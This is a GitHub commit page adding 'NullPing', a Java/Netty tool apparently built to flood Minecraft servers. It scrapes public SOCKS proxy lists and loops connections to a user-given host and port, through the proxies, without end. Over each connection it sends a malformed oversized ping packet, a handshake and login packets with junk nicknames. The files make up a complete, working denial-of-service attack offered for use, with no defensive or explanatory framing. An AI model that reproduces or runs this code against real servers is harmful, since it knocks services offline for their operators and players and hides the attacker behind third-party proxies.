forked from KRAMECS/NullPing
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
12 changed files
with
421 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<project xmlns="http://maven.apache.org/POM/4.0.0" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
|
||
<groupId>ru.justnanix</groupId> | ||
<artifactId>Netty-NullPing</artifactId> | ||
<version>1.0</version> | ||
|
||
<properties> | ||
<maven.compiler.source>8</maven.compiler.source> | ||
<maven.compiler.target>8</maven.compiler.target> | ||
</properties> | ||
|
||
<dependencies> | ||
<dependency> | ||
<groupId>io.netty</groupId> | ||
<artifactId>netty-all</artifactId> | ||
<version>4.1.69.Final</version> | ||
</dependency> | ||
|
||
<dependency> | ||
<groupId>org.jsoup</groupId> | ||
<artifactId>jsoup</artifactId> | ||
<version>1.14.3</version> | ||
</dependency> | ||
</dependencies> | ||
</project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
package ru.justnanix.nullping; | ||
|
||
import ru.justnanix.nullping.data.ProxyScraper; | ||
import ru.justnanix.nullping.nullping.NullPing; | ||
import ru.justnanix.nullping.utils.ThreadUtils; | ||
|
||
import java.util.Scanner; | ||
|
||
public class Main { | ||
public static final ProxyScraper scraper = new ProxyScraper(); | ||
|
||
public static int loopThreads; | ||
public static int threads; | ||
|
||
public static String host; | ||
public static int port; | ||
|
||
public static void main(String[] args) { | ||
System.out.println( | ||
" __ __ __ __ __ __ ______ __ __ __ ______ \n" + | ||
"/\\ \"-.\\ \\ /\\ \\/\\ \\ /\\ \\ /\\ \\ /\\ == \\ /\\ \\ /\\ \"-.\\ \\ /\\ ___\\ \n" + | ||
"\\ \\ \\-. \\ \\ \\ \\_\\ \\ \\ \\ \\____ \\ \\ \\____ \\ \\ _-/ \\ \\ \\ \\ \\ \\-. \\ \\ \\ \\__ \\ \n" + | ||
" \\ \\_\\\\\"\\_\\ \\ \\_____\\ \\ \\_____\\ \\ \\_____\\ \\ \\_\\ \\ \\_\\ \\ \\_\\\\\"\\_\\ \\ \\_____\\ \n" + | ||
" \\/_/ \\/_/ \\/_____/ \\/_____/ \\/_____/ \\/_/ \\/_/ \\/_/ \\/_/ \\/_____/"); | ||
System.out.println("\n\t\t\t\t\tv1.1 by JustNanix\n"); | ||
|
||
if (System.getProperty("os.name", "generic").toLowerCase().contains("win")) | ||
System.out.println("Привет, " + System.getenv("username") + '\n'); | ||
|
||
try (Scanner scanner = new Scanner(System.in)) { | ||
System.out.println("|| Введите макс кол-во потоков (рекоменд. 256)"); | ||
System.out.print("> "); | ||
|
||
threads = Integer.parseInt(scanner.nextLine()); | ||
|
||
System.out.println("|| Введите кол-во loop потоков (рекоменд. 4)"); | ||
System.out.print("> "); | ||
|
||
loopThreads = Integer.parseInt(scanner.nextLine()); | ||
|
||
System.out.println("|| Введите айпи: "); | ||
System.out.print("> "); | ||
|
||
String ip = scanner.nextLine(); | ||
|
||
host = ip.split(":")[0]; | ||
port = Integer.parseInt(ip.split(":")[1]); | ||
|
||
System.out.println(); | ||
scraper.init(); | ||
|
||
System.out.println("\n|| Начинаю пиздить сервер..."); | ||
new NullPing().launch(); | ||
} catch (Exception e) { | ||
System.out.println("|| Возникла ошибка! Проверьте, правильно ли вы ввели айпи/потоки."); | ||
e.printStackTrace(); | ||
|
||
ThreadUtils.sleep(10000L); | ||
System.exit(0); | ||
} | ||
} | ||
} |
98 changes: 98 additions & 0 deletions
98
src/main/java/ru/justnanix/nullping/data/ProxyScraper.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
package ru.justnanix.nullping.data; | ||
|
||
import org.jsoup.Jsoup; | ||
import org.jsoup.nodes.Document; | ||
|
||
import java.net.InetSocketAddress; | ||
import java.util.*; | ||
import java.util.concurrent.CopyOnWriteArrayList; | ||
import java.util.stream.Collectors; | ||
|
||
public class ProxyScraper { | ||
private List<Proxy> proxies = new CopyOnWriteArrayList<>(); | ||
private int number = 0; | ||
|
||
public void init() { | ||
try { | ||
System.out.println("|| Загружаю прокси..."); | ||
|
||
Thread one = new Thread(() -> { | ||
try { | ||
Document proxyList = Jsoup.connect("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4").get(); | ||
proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); | ||
} catch (Throwable ignored) {} | ||
|
||
try { | ||
Document proxyList = Jsoup.connect("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5").get(); | ||
proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); | ||
} catch (Throwable ignored) {} | ||
}); | ||
|
||
Thread two = new Thread(() -> { | ||
try { | ||
Document proxyList = Jsoup.connect("https://www.proxy-list.download/api/v1/get?type=socks4").get(); | ||
proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); | ||
} catch (Throwable ignored) {} | ||
|
||
try { | ||
Document proxyList = Jsoup.connect("https://www.proxy-list.download/api/v1/get?type=socks5").get(); | ||
proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); | ||
} catch (Throwable ignored) {} | ||
}); | ||
|
||
Thread three = new Thread(() -> { | ||
try { | ||
Document proxyList = Jsoup.connect("https://openproxylist.xyz/socks4.txt").get(); | ||
proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); | ||
} catch (Throwable ignored) {} | ||
|
||
try { | ||
Document proxyList = Jsoup.connect("https://openproxylist.xyz/socks5.txt").get(); | ||
proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList())); | ||
} catch (Throwable ignored) {} | ||
}); | ||
|
||
one.start(); | ||
two.start(); | ||
three.start(); | ||
|
||
one.join(); | ||
two.join(); | ||
three.join(); | ||
|
||
proxies = new CopyOnWriteArrayList<>(new HashSet<>(proxies)); | ||
System.out.println("|| Загружено > " + proxies.size() + " шт. свежих SOCKS4 прокси"); | ||
} catch (Exception ignored) {} | ||
} | ||
|
||
public Proxy getProxy() { | ||
if (++number >= proxies.size() - 1) | ||
number = 0; | ||
|
||
return proxies.get(number); | ||
} | ||
|
||
public static class Proxy { | ||
private final ProxyType type; | ||
private final InetSocketAddress address; | ||
|
||
public Proxy(ProxyType type, InetSocketAddress address) { | ||
this.type = type; | ||
this.address = address; | ||
} | ||
|
||
public ProxyType getType() { | ||
return type; | ||
} | ||
|
||
public InetSocketAddress getAddress() { | ||
return address; | ||
} | ||
} | ||
|
||
public enum ProxyType { | ||
SOCKS4, | ||
SOCKS5, | ||
HTTP | ||
} | ||
} |
67 changes: 67 additions & 0 deletions
67
src/main/java/ru/justnanix/nullping/nullping/NullPing.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
package ru.justnanix.nullping.nullping; | ||
|
||
import io.netty.bootstrap.Bootstrap; | ||
import io.netty.channel.*; | ||
import io.netty.channel.epoll.Epoll; | ||
import io.netty.channel.epoll.EpollEventLoopGroup; | ||
import io.netty.channel.epoll.EpollSocketChannel; | ||
import io.netty.channel.nio.NioEventLoopGroup; | ||
import io.netty.channel.socket.SocketChannel; | ||
import io.netty.channel.socket.nio.NioSocketChannel; | ||
import io.netty.handler.proxy.Socks4ProxyHandler; | ||
import ru.justnanix.nullping.Main; | ||
import ru.justnanix.nullping.utils.PacketEncoder; | ||
import ru.justnanix.nullping.utils.ThreadUtils; | ||
|
||
public class NullPing { | ||
private final EventLoopGroup loopGroup = Epoll.isAvailable() ? new EpollEventLoopGroup(Main.threads) : new NioEventLoopGroup(Main.threads); | ||
private final Class<? extends SocketChannel> channelType = Epoll.isAvailable() ? EpollSocketChannel.class : NioSocketChannel.class; | ||
|
||
private final ChannelInitializer<Channel> channelInitializer = new ChannelInitializer<Channel>() { | ||
@Override | ||
protected void initChannel(Channel channel) { | ||
Socks4ProxyHandler handler = new Socks4ProxyHandler(Main.scraper.getProxy().getAddress()); | ||
|
||
handler.setConnectTimeoutMillis(8000L); | ||
handler.connectFuture().addListener(future -> { | ||
if (!handler.isConnected()) { | ||
channel.close(); | ||
} | ||
}); | ||
|
||
channel.pipeline().addFirst(handler); | ||
channel.pipeline().addLast(new PacketEncoder()); | ||
channel.pipeline().addLast(new NullPingChannelHandler()); | ||
channel.pipeline().addLast(new ChannelHandler() { | ||
@Override | ||
public void handlerAdded(ChannelHandlerContext channelHandlerContext) {} | ||
@Override | ||
public void handlerRemoved(ChannelHandlerContext channelHandlerContext) {} | ||
|
||
@Override | ||
public void exceptionCaught(ChannelHandlerContext ctx, Throwable throwable) { | ||
ctx.close(); | ||
} | ||
}); | ||
} | ||
}; | ||
|
||
public void launch() { | ||
for (int i = 0; i < Main.loopThreads; i++) { | ||
new Thread(() -> { | ||
while (true) { | ||
Bootstrap bootstrap = new Bootstrap() | ||
.channel(channelType) | ||
.group(loopGroup) | ||
.option(ChannelOption.TCP_NODELAY, true) | ||
.option(ChannelOption.SO_KEEPALIVE, false) | ||
.handler(channelInitializer); | ||
|
||
bootstrap.connect(Main.host, Main.port); | ||
|
||
ThreadUtils.sleep(2L); | ||
} | ||
}).start(); | ||
} | ||
} | ||
} |
34 changes: 34 additions & 0 deletions
34
src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
package ru.justnanix.nullping.nullping; | ||
|
||
import io.netty.channel.ChannelHandlerContext; | ||
import io.netty.channel.ChannelInboundHandlerAdapter; | ||
import ru.justnanix.nullping.utils.CPacketHandshake; | ||
import ru.justnanix.nullping.utils.CPacketLogin; | ||
import ru.justnanix.nullping.utils.CPacketPing; | ||
|
||
import java.util.Random; | ||
|
||
public class NullPingChannelHandler extends ChannelInboundHandlerAdapter { | ||
private static final Random random = new Random(System.currentTimeMillis()); | ||
|
||
@Override | ||
public void channelActive(ChannelHandlerContext ctx) { | ||
ctx.writeAndFlush(new CPacketPing()); | ||
|
||
String nick; | ||
if (random.nextBoolean()) nick = "" + random.nextInt(-1); | ||
else if (random.nextBoolean()) nick = " "; | ||
else if (random.nextBoolean()) nick = "abcdefghijklmnopqrstuvwxyz123456789"; | ||
else nick = "ب����ََ����ّّّْر����ََ����ّّّْآ���َ�ّ 🇮🇹ب����ََ����ّّّْر����ََ����ّّّْآ���َ�ّ🇮🇹"; | ||
|
||
ctx.writeAndFlush(new CPacketHandshake(2)); | ||
ctx.writeAndFlush(new CPacketLogin(nick)); | ||
|
||
ctx.close(); | ||
} | ||
|
||
@Override | ||
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { | ||
|
||
} | ||
} |
24 changes: 24 additions & 0 deletions
24
src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
package ru.justnanix.nullping.utils; | ||
|
||
import io.netty.buffer.ByteBuf; | ||
import ru.justnanix.nullping.Main; | ||
|
||
public class CPacketHandshake implements Packet { | ||
private final int state; | ||
|
||
public CPacketHandshake(int state) { | ||
this.state = state; | ||
} | ||
|
||
@Override | ||
public void writePacketData(ByteBuf byteBuf) { | ||
byteBuf.writeByte(0x00); | ||
|
||
PacketUtils.writeVarInt(340, byteBuf); | ||
PacketUtils.writeString(Main.host, 255, byteBuf); | ||
|
||
byteBuf.writeShort(Main.port); | ||
|
||
PacketUtils.writeVarInt(state, byteBuf); | ||
} | ||
} |
17 changes: 17 additions & 0 deletions
17
src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
package ru.justnanix.nullping.utils; | ||
|
||
import io.netty.buffer.ByteBuf; | ||
|
||
public class CPacketLogin implements Packet { | ||
private final String nick; | ||
|
||
public CPacketLogin(String nick) { | ||
this.nick = nick; | ||
} | ||
|
||
@Override | ||
public void writePacketData(ByteBuf byteBuf) { | ||
byteBuf.writeByte(0x00); | ||
PacketUtils.writeString(nick, byteBuf); | ||
} | ||
} |
15 changes: 15 additions & 0 deletions
15
src/main/java/ru/justnanix/nullping/utils/CPacketPing.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
package ru.justnanix.nullping.utils; | ||
|
||
import io.netty.buffer.ByteBuf; | ||
|
||
public class CPacketPing implements Packet { | ||
@Override | ||
public void writePacketData(ByteBuf byteBuf) { | ||
byteBuf.writeByte(-71); | ||
|
||
for (int i = 0; i < 1900; ++i) { | ||
byteBuf.writeByte(1); | ||
byteBuf.writeByte(0); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
package ru.justnanix.nullping.utils; | ||
|
||
import io.netty.buffer.ByteBuf; | ||
|
||
public interface Packet { | ||
void writePacketData(ByteBuf byteBuf); | ||
} |
12 changes: 12 additions & 0 deletions
12
src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
package ru.justnanix.nullping.utils; | ||
|
||
import io.netty.buffer.ByteBuf; | ||
import io.netty.channel.ChannelHandlerContext; | ||
import io.netty.handler.codec.MessageToByteEncoder; | ||
|
||
public class PacketEncoder extends MessageToByteEncoder<Packet> { | ||
@Override | ||
protected void encode(ChannelHandlerContext ctx, Packet packet, ByteBuf byteBuf) { | ||
packet.writePacketData(byteBuf); | ||
} | ||
} |
Oops, something went wrong.